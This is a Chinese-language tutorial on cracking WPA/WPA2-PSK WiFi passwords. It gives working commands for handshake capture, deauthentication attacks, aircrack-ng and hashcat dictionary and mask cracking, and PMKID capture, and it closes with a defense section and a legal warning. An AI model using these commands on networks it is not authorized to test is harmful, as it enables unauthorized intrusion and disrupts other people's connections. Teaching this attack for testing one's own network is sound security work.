跳至内容
WPA/WPA2 握手包破解

WPA/WPA2 握手包破解

WPA2-PSK 的密码学本身是安全的,攻击者并不能"算出"密码。真正可行的路径是:抓到一次四次握手(4-way handshake),再在本地用字典离线爆破。这篇完整走一遍标准流程——锁定目标、抓握手包、用 deauth 加速、aircrack-ng 与 hashcat 两种破解方式,最后讲 PMKID 这种不需要客户端的新手法和防御。

全流程只能在自己的路由器上演示。对他人 WiFi 发送 deauth、抓包破解均违法。下面用占位 BSSID 00:14:6C:7E:40:80 代指你自己的 AP。

原理:为什么抓握手包就能破解

当客户端连接 WPA2 网络时,AP 与客户端进行四次握手协商加密密钥。握手过程中传输的数据,是用 PSK(你设的 WiFi 密码)派生出的 PMK 参与计算的。攻击者抓到这四个包后:

  1. 从字典里取一个候选密码,按相同算法(PBKDF2 + 网络名做盐)算出 PMK。
  2. 用 PMK 重算握手中的校验值(MIC)。
  3. 如果算出的 MIC 与抓到的一致,说明候选密码正确。

所以这是纯离线的字典/掩码爆破,命中与否完全取决于密码强度和字典质量——强密码理论上抓了也破不了。

第一步:锁定目标并开始抓包

承接上一篇,已开启监听模式(wlan0mon),并记下了目标 BSSID、信道和在线客户端。把 airodump-ng 锁定到目标,持续写包到文件:

sudo airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w wpa_capture wlan0mon

保持这个窗口运行。一旦抓到握手,右上角会出现 WPA handshake: 00:14:6C:7E:40:80 的提示。

第二步:用 deauth 加速握手

握手只在客户端接入网络的瞬间发生。如果不想干等,可以发送解除认证(deauth)帧把已连接的客户端踢下线,它会自动重连,从而触发新的握手。

另开一个终端:

# -0 表示 deauth,5 表示发送 5 组;-a 目标 AP,-c 目标客户端
sudo aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0mon

# 不指定 -c 则向广播地址发送,踢掉该 AP 下所有客户端
sudo aireplay-ng -0 5 -a 00:14:6C:7E:40:80 wlan0mon
deauth 帧之所以能伪造,是因为 WPA2 的管理帧未加密(见上一篇)。指定具体客户端 -c 比广播更精准、动静更小。发几组通常就够触发重连,不要无脑刷。WPA3 启用了管理帧保护(PMF/802.11w),deauth 这招会失效。

回到 airodump 窗口看到 WPA handshake 后,就可以停止抓包了。

第三步(方式一):aircrack-ng 直接破解

最简单的方式是用 aircrack-ng 配合字典直接跑:

# -w 字典,最后是抓包文件(airodump 生成的 .cap)
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap

# 指定目标网络名,避免多个网络干扰
sudo aircrack-ng -w rockyou.txt -e "MyHome" wpa_capture-01.cap

# 破解成功后把密钥写入文件
sudo aircrack-ng -l key.txt -w rockyou.txt wpa_capture-01.cap

跑出 KEY FOUND! [ password ] 即破解成功。aircrack-ng 用 CPU,速度有限。

第三步(方式二):转 hashcat 用 GPU 破解

抓包文件可以转换成 hashcat 格式,借 GPU 大幅提速——这是现代主流做法。

# 1. 把 .cap 转成 hashcat 22000 格式(hcxtools 提供)
hcxpcapngtool -o wpa.hc22000 wpa_capture-01.cap

# 2. 用 hashcat 模式 22000(WPA-PBKDF2-PMKID+EAPOL)字典破解
hashcat -m 22000 -a 0 wpa.hc22000 /usr/share/wordlists/rockyou.txt

# 3. 掩码攻击:例如已知密码是 8 位纯数字
hashcat -m 22000 -a 3 wpa.hc22000 ?d?d?d?d?d?d?d?d

# 查看结果
hashcat -m 22000 wpa.hc22000 --show

-m 22000 是当前统一的 WPA 模式(同时兼容 EAPOL 握手和 PMKID)。GPU 跑 8 位数字这种小空间往往几分钟到几小时,但跑长随机口令依然不可行。

进阶:PMKID 无客户端攻击

传统方式必须等到有客户端握手。PMKID 攻击利用部分 AP 在第一个握手包(EAPOL M1)里就附带 PMKID 的特性,无需任何客户端连接即可抓取,更隐蔽:

# 用 hcxdumptool 直接抓取 PMKID(监听模式下)
sudo hcxdumptool -i wlan0mon -w pmkid.pcapng

# 转换后同样用 hashcat -m 22000 破解
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 rockyou.txt

并非所有 AP 都受 PMKID 影响,但它把"必须等客户端 + deauth"的前提去掉了,威胁更大。本质上破解的仍是弱 PSK。

防御视角

WPA2 个人版的所有破解都收敛到一个前提——密码弱。所以防御也很集中:

  • 用足够强的 PSK:≥12 位、大小写数字符号混合或长 passphrase,让字典和掩码都打不穿。这是最有效的一招。
  • 升级 WPA3:SAE 握手从机制上抵御离线字典攻击,抓到包也无法离线爆破。
  • 启用 PMF(802.11w,管理帧保护):让 deauth 伪造失效,攻击者无法主动逼出握手。
  • 关闭会泄露 PMKID 的特性 / 及时更新路由器固件
  • 不要用手机号、生日、12345678、默认密码这类可预测口令。
最后更新于